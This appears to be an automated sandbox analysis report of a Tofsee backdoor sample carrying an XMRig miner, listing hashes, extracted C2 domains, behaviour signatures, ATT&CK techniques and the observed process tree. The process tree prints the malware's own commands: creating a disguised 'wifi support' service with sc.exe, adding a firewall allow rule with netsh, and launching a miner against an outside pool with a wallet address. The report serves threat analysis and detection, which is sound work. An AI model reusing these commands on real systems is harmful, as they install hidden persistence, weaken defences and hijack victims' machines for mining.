Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-20220414-en
  • submitted
    19-06-2022 00:00

General

  • Target

    e93c7164c814386e5c2a9711ffc72dbdb66d91414bbc14e276cc2eae2ac2e55b.exe

  • Size

    309KB

  • MD5

    9a04e30c4df2820e9d40a3c2b0f39b1f

  • SHA1

    c6129fd781470864596e2a5c984750c11974ffdc

  • SHA256

    e93c7164c814386e5c2a9711ffc72dbdb66d91414bbc14e276cc2eae2ac2e55b

  • SHA512

    b32d9d517625dfdba0c4f4611ba0dcd79e254ac1cc34bd0443ddc5a966427ee11a3b3b5cfdaf31e8efc66443c65db4f89a3ecb936341bdf667bbc3a9389955fd

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e93c7164c814386e5c2a9711ffc72dbdb66d91414bbc14e276cc2eae2ac2e55b.exe
    "C:\Users\Admin\AppData\Local\Temp\e93c7164c814386e5c2a9711ffc72dbdb66d91414bbc14e276cc2eae2ac2e55b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nypuazzc\
      2⤵
        PID:1616
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jmvsgzra.exe" C:\Windows\SysWOW64\nypuazzc\
        2⤵
          PID:1704
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nypuazzc binPath= "C:\Windows\SysWOW64\nypuazzc\jmvsgzra.exe /d\"C:\Users\Admin\AppData\Local\Temp\e93c7164c814386e5c2a9711ffc72dbdb66d91414bbc14e276cc2eae2ac2e55b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nypuazzc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3488
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nypuazzc
          2⤵
          • Launches sc.exe
          PID:2332
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2184
      • C:\Windows\SysWOW64\nypuazzc\jmvsgzra.exe
        C:\Windows\SysWOW64\nypuazzc\jmvsgzra.exe /d"C:\Users\Admin\AppData\Local\Temp\e93c7164c814386e5c2a9711ffc72dbdb66d91414bbc14e276cc2eae2ac2e55b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1204
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4036
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2932

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\jmvsgzra.exe
        Filesize

        10.1MB

        MD5

        dee0cf1786292a7a89e42b7f7b3b2831

        SHA1

        1f186b765aecf174c9927f1ec9c6899c0018c286

        SHA256

        39fe02054417a19aa132dca817eb3e463560e5047c1d34ef35709ac41ef6abe6

        SHA512

        994e786111bbf04d7c546e47965667ac637ee628ca14538f9d226f28b4e00651fd9bef91eac0964960057f6961c58af619ad90f245f76918b41c9d2582056200

      • C:\Windows\SysWOW64\nypuazzc\jmvsgzra.exe
        Filesize

        10.1MB

        MD5

        dee0cf1786292a7a89e42b7f7b3b2831

        SHA1

        1f186b765aecf174c9927f1ec9c6899c0018c286

        SHA256

        39fe02054417a19aa132dca817eb3e463560e5047c1d34ef35709ac41ef6abe6

        SHA512

        994e786111bbf04d7c546e47965667ac637ee628ca14538f9d226f28b4e00651fd9bef91eac0964960057f6961c58af619ad90f245f76918b41c9d2582056200

      • memory/1204-488-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/1204-316-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/1204-299-0x0000000002C70000-0x0000000002DBA000-memory.dmp
        Filesize

        1.3MB

      • memory/1204-296-0x0000000002EF6000-0x0000000002F03000-memory.dmp
        Filesize

        52KB

      • memory/1616-178-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1616-170-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1616-171-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1616-172-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1616-169-0x0000000000000000-mapping.dmp
      • memory/1616-173-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1704-180-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1704-179-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1704-176-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1704-175-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/1704-174-0x0000000000000000-mapping.dmp
      • memory/1704-177-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2184-215-0x0000000000000000-mapping.dmp
      • memory/2332-197-0x0000000000000000-mapping.dmp
      • memory/2932-515-0x0000000002E9259C-mapping.dmp
      • memory/2992-136-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-138-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-141-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-142-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-143-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-144-0x0000000002EDA000-0x0000000002EE8000-memory.dmp
        Filesize

        56KB

      • memory/2992-145-0x0000000002D50000-0x0000000002D63000-memory.dmp
        Filesize

        76KB

      • memory/2992-146-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-147-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-148-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-149-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-150-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-151-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-152-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-153-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-154-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-155-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-156-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-157-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-158-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-159-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-160-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/2992-161-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-162-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-163-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-164-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-165-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-166-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-167-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-168-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-118-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-140-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-139-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-127-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-137-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-135-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-134-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-133-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-132-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-131-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-130-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-129-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-128-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-119-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-120-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-121-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-122-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-123-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-232-0x0000000000400000-0x0000000002C6C000-memory.dmp
        Filesize

        40.4MB

      • memory/2992-124-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-217-0x0000000002EDA000-0x0000000002EE8000-memory.dmp
        Filesize

        56KB

      • memory/2992-126-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-125-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/2992-219-0x0000000002D50000-0x0000000002D63000-memory.dmp
        Filesize

        76KB

      • memory/3488-189-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/3488-188-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/3488-187-0x0000000000000000-mapping.dmp
      • memory/3564-186-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/3564-185-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/3564-184-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/3564-183-0x0000000077360000-0x00000000774EE000-memory.dmp
        Filesize

        1.6MB

      • memory/3564-182-0x0000000000000000-mapping.dmp
      • memory/4036-300-0x0000000002629A6B-mapping.dmp
      • memory/4036-372-0x0000000002620000-0x0000000002635000-memory.dmp
        Filesize

        84KB

      • memory/4036-489-0x0000000002620000-0x0000000002635000-memory.dmp
        Filesize

        84KB